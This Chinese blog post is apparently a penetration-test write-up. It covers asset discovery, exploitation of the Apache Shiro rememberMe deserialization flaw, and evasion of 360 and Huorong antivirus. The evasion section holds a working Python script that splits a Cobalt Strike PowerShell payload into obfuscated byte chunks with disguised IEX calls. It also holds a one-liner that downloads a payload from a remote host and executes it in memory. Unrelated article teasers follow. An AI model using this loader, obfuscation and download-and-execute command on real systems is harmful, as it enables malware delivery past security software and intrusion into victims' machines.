记一次网络安全渗透测试实战指南

news2024/11/19 3:29:44

1.信息收集

网址已无法访问,就不贴了

image.png

可以使用Fofa,火线,zoomeye,searchcode.com等爬取相关的资产,重点关注一些有漏洞暴露的框架和服务例如:泛微,PHP,Tomca,后台,weblogic等等。之后就主要分三步:指纹识别、漏洞验证、漏洞复现。

指纹识别很好理解,我们要拿历史漏洞怼它,首先要知道,它是什么有什么漏洞,不然你这怼半天,没有怼到点上,还容易被404警告(根据相关的指纹识别wappalyzer,云悉,Ehole,自建指纹库等等)。

指纹探测:https://github.com/EdgeSecurityTeam/EHole

1637115847_619467c7198c39bfbf51b.png

image.png

同时按需求和习惯把旗下50%以上控股的公司进行收集根域–到子域收集(layer,oneforall等等)

【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源

2.综合渗透分析脑图:

分享一个很细的工具集。
1637116057_61946899953acbee83f24.png

初步收集到大量资产识别某个目标是某个系统之后,需要针对该系统收集其历史漏洞情况,然后进行漏洞验证。所以漏洞验证部分需要两步,漏洞梳理和漏洞验证,漏洞梳理主要是从公开资料去收集目标系统相关的历史漏洞。

网络上有很多资料,比如 xxx 文库,github,还有免费开源的工具和 POC,比如 xray、nuclei,提供了很多漏洞验证的 POC,还有付费写的软件和平台;漏洞验证部分,尽量做到无害验证例如:挑个软的泛微云桥公开POC验证。
image.png

发现没有漏洞,就换个资产继续,渗透都是一步步来的。发现第一个漏洞——信息泄露,是一个好的开始,找到些配置信息仔细先记录下来,继续一步步扩大成果。

1637117676_61946eec200b2d38077ca.png

1637117690_61946efa5ea6135654193.png

本着以洞打洞原则:有一个漏洞必定有下一个漏洞进行这个域名更深的渗透–反查IP发现无CDN是真实IP直接全端口探测,(这里用的goby,全端口用nmap低速SYN扫描方式效果最好)。
image.png

image.png

去测试9090端口爆破没有结果,js,目录探测,右键源码等无结果继续换端口渗透。
image.png

换到8088端口跳转网站继续进行渗透。
1637118011_6194703b5f3df7b6911e9.png

跳转到http://xx.xxxxxx.com:8010/login继续抓包爆破发现shiro的特征rememberMe直接去验证:

Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它编号为 550 的 issue 中爆出严重的 Java 反序列化漏洞。为了让浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。

但是在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞。

Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。1637118126_619470aeab212bbde23f1.png

验证成功Windows单网卡并且出网。
1637118239_6194711f1425ed3068618.png

注意ping命令控制数量防止死ping。
image.png

发现360需要免杀绕过。
image.png

3.分离免杀:

杀毒软件的原理是根据特征、行为、基于云查杀,云查杀主要是根据特征码进行查杀,每一种杀毒软件都会检测头文件,所以可以进行程序段代码分离的形式,绕过当前主流杀软。

自己搭建一个Cobalt Strike运行客户端后选powershell脚本。
image.png

去挂载在公网。
image.png

混淆方法

首先将FromBase64String改成FromBase65String。

$string = ''
$s = [Byte[]]$var_code = [System.Convert]::FromBase64String("")
$s |foreach { $string = $string + $_.ToString()+','}
$string > c:\1.txt

将生成的编码分成两块或者多块再组合。

[Byte[]]$var_c1 =  [Byte[]](FromBase65String的代码)
[Byte[]]$var_c2 =  [Byte[]](FromBase65String的代码)
$var_code=$var_c1+$var_c2
$s=New-Object IO.MemoryStream(,$var_code);IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

完整脚本。

import requests
import re 
import sys
import threading
import os
import platform 
import subprocess 
import base64
def getkey(url): 
url=url
r = requests.get(url).text
key=re.findall(r'FromBase64String\(\"(.*)\"',r) 
str1 = ''.join(key) 
return str1
def get_bypass_txt(key):
file=open("keyword.txt",'w')
file.write(key)
file.close()
#os.system("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe   $string = '';$s = [Byte[]]$var_code = [System.Convert]::FromBase64String((Get-Content  keyword.txt));$s | foreach { $string = $string + $_.ToString()+','};$string > keyword2.txt")
with open("keyword.txt", "rb") as f:
data = f.read()
d = base64.b64decode(data)
with open("bypass.txt", "w+") as fw:
for x in d:
fw.write(str(x) + ",")
if __name__ == '__main__':
j=1 
k=0
url=input("输入cs文件地址:")
key=getkey(url)
get_bypass_txt(key)
with open('bypass.txt', 'r') as f1:
results = f1.read() 
str=results.split(',')
k=int(len(str))
chunk=int(input("请输入需要分的块数:"))
sum_chunk=k//chunk
for i in range(0,chunk):
#print(i+1)
if i==0:
new_str=str[0:sum_chunk]
s=",".join(new_str)
#print(s)
with open('poershell_bypass.txt','w') as f:
f.write("[Byte[]]$var_c%d =  [Byte[]](%s)\n"% (j,s))
j+=1
# print(new_str)
elif i+1<chunk:
new_str[i]=str[sum_chunk*i:sum_chunk*(i+1)] 
#print(new_str[i]) 
s = ",".join(new_str[i])
# print(s)
with open('poershell_bypass.txt', 'a+') as f:
f.write("[Byte[]]$var_c%d =  [Byte[]](%s)\n"% (j, s)) 
j += 1
elif i+1==chunk:
new_str[i]=str[sum_chunk*i:]
s = ",".join(new_str[i][:-1])
# print(s)
with open('poershell_bypass.txt', 'a+') as f:
f.write("[Byte[]]$var_c%d =  [Byte[]](%s)\n" % (j, s))
j += 1
for i in range(int(chunk)):
if i==0:
with open('poershell_bypass.txt', 'a+') as f:
f.write("$var_code=$var_c%d"%(i+1))
elif i<chunk-1:
with open('poershell_bypass.txt', 'a+') as f:
f.write("+$var_c%d" % (i + 1))
elif i ==chunk - 1: 
with open('poershell_bypass.txt', 'a+') as f:
f.write("+$var_c%d \n$s=New-Object IO.MemoryStream(,$var_code);$a1='IEX (New-Object IO.Strea123'.Replace('123','mRe');$a2='ader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()';IEX($A1+$a2)" % (i + 1))
print("poershell_bypass.txt已经生成完成!")

进行分离。
image.png

继续挂载在CS服务器上远程下载。
image.png

由于360和火绒对powershell命令会禁止调用,我们需要绕过360和火绒的禁止。

set aa=powers&& set bb=hell && cmd /c "echo set-alias -name test -value IEX;test(New-Object NeT."W`ebC`li`ent")."D`own`l`oadStr`ing"('ht'+'tP://192'+'.168.158.132:8888'+'/poershell_bypass.txt') | %aa%%bb% -"

image.png
image.png

这个点就到这。

继续把最后的一个端口测试完发现扫描有.DS_Store文件泄露http://43.2xx.xx.155:8012/.DS_Store,github上找个公开脚本进行枚举细心审计会发现更多问题。

image.png

这个ip这么多问题其他子域同样来一波果真这个段还有不少问题又找到两个弱口令。
image.png
image.png

4. 总结:

基于一次授权的渗透把一些思路整理一下,本次的重点在以洞打洞原则发现一个小洞顺藤摸瓜发现更多的高危甚至严重问题,像我们日常渗透有这样一步步思路进行收获都不小,当然了运气可以省很大部分时间和心思,一步到位的欧皇也是存在。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/752.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

71.(后端)角色接口携带权限数据——flask两张表之间多对多关系的使用与层级关系的输出

1.ORM关系之多对多 1.1 什么时候使用多对多关系 例如&#xff0c;我们我们的项目中&#xff0c;一个用户可以拥有多个角色&#xff0c;同样的&#xff0c;一个角色可以给多个用户。通俗来说&#xff0c;一个用户可以购买多个商品&#xff0c;多个商品可以被一个用户购买 1.2…

【FPGA】Verilog编程实现SDRAM读写(一) ----- 初始SDRAM

文章目录一. 存储器及SDRAM分类1. 存储器分类2. 半导体存储器分类3. SDRAM分类二. 什么是SDRAM&#xff1f;1. SDRAM基本概念2. SDRAM存储阵列3. SDRAM基本存储单元4. BANK概念5. SDRAM容量计算6. SDRAM功能框图7. SDRAM信号引脚8. SDRAM操作命令8.1 禁止命令&#xff08; INHI…

mysql做查询时,第一次很慢,第二三次就会很快?

前言 sql语句第一次查询慢的原因不仅仅是因为执行计划没有被缓存这么简单,有时候你会发现sql语句重用了执行计划,但是第一次查询时还是很慢. 最主要的原因是第一次查询的时候,mysql会将查询出的部分数据和索引从磁盘加载到内存作为缓存,而第二三此查询的时候就直接从内存缓存…

Spring - 手把手分析 IoC 容器创建过程

概述 这里我们以 Spring 5.2.8.RELEASE 版本为例&#xff0c;看一下 IoC 容器 的创建过程。同时我们使用 java-based 的方式实例化 IoC 容器&#xff0c;即使用 AnnotationConfigApplicationContext Configuration 的方式配置容器需要的组件。 ApplicationContext ctx new …

【云IDE初体验】与君相逢恨晚,真正的轻量级开发工具

云IDE产品介绍 云IDE使用教程 免费使用地址&#xff1a;点击【云IDE】&#xff0c;即可开始创建工作空间啦~ 云IDE1.云IDE介绍2. 使用流程3. 体验总结作为一名大学生&#xff0c;学习的地点很关键&#xff0c;尤其是我们计算机系&#xff0c;更是离不开电脑&#xff0c;去图书馆…

调度线程池 ScheduledThreadPoolExecutor 的正确使用姿势

前言 项目中经常会遇到一些非分布式的调度任务&#xff0c;需要在未来的某个时刻周期性执行。实现这样的功能&#xff0c;我们有多种方式可以选择&#xff1a; Timer类&#xff0c; jdk1.3 引入&#xff0c;不推荐 它所有任务都是串行执行的&#xff0c;同一时间只能有一个任…

【C语言】移位操作符 位操作符 - 对二进制位进行精准操作【+面试题目】_[初阶篇]

快速导航 【前言】 1.移位操作符 1.1左移操作符(<<) 1.2右移操作符(>>) 2.位操作符 2.1 & 按位与 2.2 | (按位或) 2.3 ^ (按位异或) 3.面试题目 3.1 交换两个变量&#xff08;不创建临时变量&#xff09; 3.2统计二进制中1的个数 3.2.1 方法一&#xff1a;…

复合事件归因分析

1 复合事件 1.1 概述 1.2 类型 1.2.1 先决条件事件&#xff08;preconditioned events&#xff09; 1.2.2 多变量事件&#xff08;multivariate CEs&#xff09; eg.高温干旱 1.2.3 时间复合事件&#xff08;temporally CEs&#xff09; eg.旱涝急转 1.2.4 空间复合事件…

电子电路设计基本概念100问(二)【学习目标:原理图、PCB、阻抗设计、电子设计基本原则、基本原器件等】

笔者电子信息专业硕士毕业&#xff0c;获得过多次电子设计大赛、大学生智能车、数学建模国奖&#xff0c;现就职于南京某半导体芯片公司&#xff0c;从事硬件研发&#xff0c;电路设计研究。对于学电子的小伙伴&#xff0c;深知入门的不易&#xff0c;特开次博客交流分享经验&a…

【每天学习一点新知识】网络安全--拒绝服务攻击

目录 1、SYN泛洪攻击 SYN泛洪攻击原理 攻击过程 防御机制 2、Smurf攻击 Smurf攻击原理 间接攻击 放大攻击 防御机制 3、DDoS DDoS原理 直接DDoS攻击 间接DDoS攻击 防御机制 1、SYN泛洪攻击 SYN泛洪攻击原理 终端访问Web服务器之前需要和服务器之间建立TCP连接。W…

万字长文解析Scaled YOLOv4模型(YOLO变体模型)

一&#xff0c;Scaled YOLOv4 摘要1&#xff0c;介绍2&#xff0c;相关工作 2.1&#xff0c;模型缩放 3&#xff0c;模型缩放原则 3.1&#xff0c;模型缩放的常规原则3.2&#xff0c;为低端设备缩放的tiny模型3.3&#xff0c;为高端设备缩放的Large模型 4&#xff0c;Scaled-YO…

大学毕业后,我就送了2个月外卖,哭了一整晚

先简单介绍一下自己&#xff0c;我来自湛江&#xff0c;大学学的的物流管理专业&#xff0c;现在就职于一家互联网公司&#xff0c;从事软件测试工作。 我来自湛江的一个偏远农村&#xff0c;家里兄弟姐妹多&#xff0c;父母无力负担我的学费&#xff0c;很多时候学费都是靠姐…

红黑树 - c++

文章目录&#xff1a;红黑树的介绍红黑树节点定义红黑树的插入操作红黑树的删除红黑树的验证红黑树 vs AVL树红黑树的介绍 红黑树(Red-Black-Tree)&#xff0c;通常写为 R-B Tree。它是一种特殊的二叉搜索树。红黑树的每个节点上都有一个存储位来标识节点的颜色&#xff0c;可…

积木报表—JimuReport v1.5.4版本发布,免费的可视化Web报表工具

项目介绍 一款免费的低代码可视化报表&#xff0c;像搭建积木一样在线拖拽设计&#xff01;低代码开发必备&#xff0c;功能涵盖&#xff0c;数据报表、打印设计、图表报表、大屏设计等&#xff01; 秉承“简单、易用、专业”的产品理念&#xff0c;极大的降低报表开发难度、缩…

【css伪类选择器及透明度——附项目图片及代码】

不知不觉&#xff0c;又鸽了好长时间了&#xff0c;非常抱歉&#xff0c;没办法&#xff0c;毕竟开学了&#xff0c;今天课少&#xff0c;抽出了两个小时写了一篇css的&#xff0c;每天不是被催更&#xff0c;就是在催更的路上。放心&#xff0c;小陈陈有时间一定会给大家分享好…

SVM 支持向量机

SVM 支持向量机SVM 原理最优化问题线性不可分sklearn 调用 SVM核函数SVM 原理 前置知识&#xff1a;用迭代策略来划分样本&#xff0c;请猛击《神经元的计算》。 SVM 也是用一条迭代的直线来划分不同数据之间的边界&#xff1a; .- 是一条直线&#xff08;线性函数&#xff09…

数据结构c语言版第二版(严蔚敏)第五章笔记

目录 树和二叉树的定义 树的定义 树的基本术语 二叉树的定义 二叉树的性质和存储结构 二叉树的性质 二叉树的存储结构 顺序存储结构 链式存储结构 遍历二叉树和线索二叉树 遍历二叉树 先序遍历 中序遍历 后序遍历 前序遍历的递归算法 中序遍历的递归算法 后序…

SARScape中用sentinel-1数据做SBAS-InSAR完整流程(2/2)

书接上回&#xff1a;SARScape中用sentinel-1数据做SBAS-InSAR完整流程&#xff08;1/2&#xff09; SARScape中用sentinel-1数据做SBAS-InSAR完整流程&#xff08;2/2&#xff09;7 反演第一步Inversion&#xff1a;First Step7.1 导入设置7.2 optional file7.3 parameters参数…

齐博x1用户登录接口

用户的登录主要涉及到小程序登录、APP的帐号密码登录、APP的微信开发平台帐号登录。 相应的地址是&#xff1a;http://qb.net/index.php/index/wxapp.login/index.html 涉及到的方法如下 上面的地址&#xff0c;默认是小程序的登录与注册。 http://qb.net/index.php/index/wxa…

matlab/simulink电力电子仿真傅里叶变换模块(fourier)测幅值相角的设置与使用

matlab/simulink电力电子仿真傅里叶变换模块&#xff08;fourier&#xff09;测幅值相角的设置与使用 今天要说的是一个可以测量信号的幅值和相角的模块&#xff0c;fourier&#xff0c;长下面这样&#xff1a; 有时候我们需要求某个信号的幅值或者相位&#xff0c;或求两个…